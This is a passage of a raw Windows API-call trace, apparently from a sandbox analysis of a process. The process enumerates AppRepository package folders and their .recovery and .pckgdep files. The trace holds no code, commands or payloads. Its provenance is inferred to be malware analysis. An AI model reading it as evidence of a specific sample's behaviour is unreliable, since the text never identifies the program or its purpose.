ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.980] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a184a20, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a184a20, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a184a20, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.980] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a184a20, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a184a20, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a184a20, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0220.981] FindClose (in: hFindFile=0x1d1f3fd0 | out: hFindFile=0x1d1f3fd0) returned 1 [0220.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.982] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x77 [0220.982] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_15.1001.16470.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5050 [0220.982] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.982] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2dbfba, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a2dbfba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a3282f7, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.982] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b20ef63, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b23516e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1740, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.983] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2434af, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a2434af, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a2434af, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.983] FindNextFileW (in: hFindFile=0x1d1f5050, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.983] FindClose (in: hFindFile=0x1d1f5050 | out: hFindFile=0x1d1f5050) returned 1 [0220.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.983] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x77 [0220.983] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_15.1001.16470.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4bd0 [0220.984] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.984] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2dbfba, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a2dbfba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a3282f7, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.984] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b20ef63, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b23516e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1740, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.984] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2434af, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a2434af, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a2434af, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.985] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2434af, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a2434af, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a2434af, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0220.985] FindClose (in: hFindFile=0x1d1f4bd0 | out: hFindFile=0x1d1f4bd0) returned 1 [0220.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.985] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0220.986] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7e [0220.986] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0220.987] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0220.987] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5a39ab5e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4570 [0220.989] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5a39ab5e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.989] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3282f7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a3282f7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.989] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3282f7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a3282f7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a3282f7, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.990] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.990] FindClose (in: hFindFile=0x1d1f4570 | out: hFindFile=0x1d1f4570) returned 1 [0220.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.991] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0220.991] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7e [0220.991] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0220.992] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0220.993] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5a39ab5e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5290 [0220.994] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5a39ab5e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.994] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3282f7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a3282f7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.994] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3282f7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a3282f7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a3282f7, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.994] FindNextFileW (in: hFindFile=0x1d1f5290, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3282f7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a3282f7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a3282f7, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0220.994] FindClose (in: hFindFile=0x1d1f5290 | out: hFindFile=0x1d1f5290) returned 1 [0220.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.995] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x85 [0220.995] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f49f0 [0220.998] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.998] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98754596, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x98754596, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x98754596, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.998] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97467c96, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x97467c96, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x97467c96, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.998] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.999] FindClose (in: hFindFile=0x1d1f49f0 | out: hFindFile=0x1d1f49f0) returned 1 [0220.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.000] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x85 [0221.000] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\*"), 